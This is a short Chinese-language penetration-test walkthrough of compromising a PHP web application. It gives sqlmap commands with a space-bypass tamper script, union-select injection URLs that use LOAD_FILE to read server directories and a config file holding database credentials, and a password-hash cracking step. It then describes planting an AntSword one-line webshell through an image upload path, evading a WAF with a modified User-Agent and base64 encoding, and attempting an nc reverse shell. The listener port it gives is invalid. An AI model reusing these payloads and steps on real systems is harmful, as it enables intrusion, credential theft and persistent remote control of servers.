1.目标系统中加单引号报错,但是过滤空格,可以用/**/代替绕过
2.使用sqlmap中的space2comment.py脚本进行注入
python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py –dbs //读取数据库名
python sqlmap.py -u http://ip/newform.php?id=123 --batch --tamper=space2comment.py --is-dba //查看是否为dba,该系统是dba权限
3.通过NAMP扫描,目标系统是freedb(sunos也可以),可以同构load_file()函数直接遍历目录
3.通过load_file()函数逐渐读取目标系统目录
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/'),3,4,5,6,7,8
3.读取到网站根目录
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/'),3,4,5,6,7,8
4.写入webshell失败,尝试读取数据库配置文件。显示了网站的数据库的用户名和密码
http://ip/newform.php?id=123/**/union/**/select/**/1,LOAD_FILE('/home/db/www/ncuoga/cbg/oga/newsform.php'),3,4,5,6,7,8
5.继续通过LOAD_FILE目标遍历,发现在根目录下存在pmbp数据库管理的页面,通过读取到的数据库和用户名和密码,登录pmbp数据库管理员页面,但是显示空白不能跳转到后台管理页面,直接访问数据库管理页面。
6.查询SQL语句查询权限,显示空置,并没有对写入进行限制
show VARIABLES LIKE "secure_file_priv"
7.但是通过mysql的log写入shell,是不成功的,可能对写入的目录权限有限制。
8.通过目录扫描,找到目录系统的后台管理,这里的后台用户名和密码,可通过sqlmap直接读取出用户名和密码hash
,密码hahs直接通过md5进行成功解密,不能成功登陆到系统,可能密码不对。
9.通过load_file()函数读取后台管理页面,发现密码是加盐的,这里加盐再解密得到正确密码,并成功登陆到目标后台
10.在后台的资料管理的照片处,可直接上传图片,并显示图片的绝对路径地址。
11.参数通过mysql将蚁剑一句话写入到图片的绝对路径地址下。可成功写入
12.通过蚂剑连接一句话,但是显示连接不成功,可能被WAF拦截了,这里需要修改蚂剑的User-Agent,以及使用编码器baa64的编码绕过WAF拦截,并成功链接。
修改antSword-master/modules/request.js和antSword-master/modules/update.js两个文件的User-Agent后成功,并使用码编码bas64
13.通过nc进行反弹,发现反弹失败,发现目标系统禁止出站IP、禁止tcp协议出站端口,并发现出站端口为访问外网,查询网络连接发现54454端口可以出站。
nc -lvvp 544454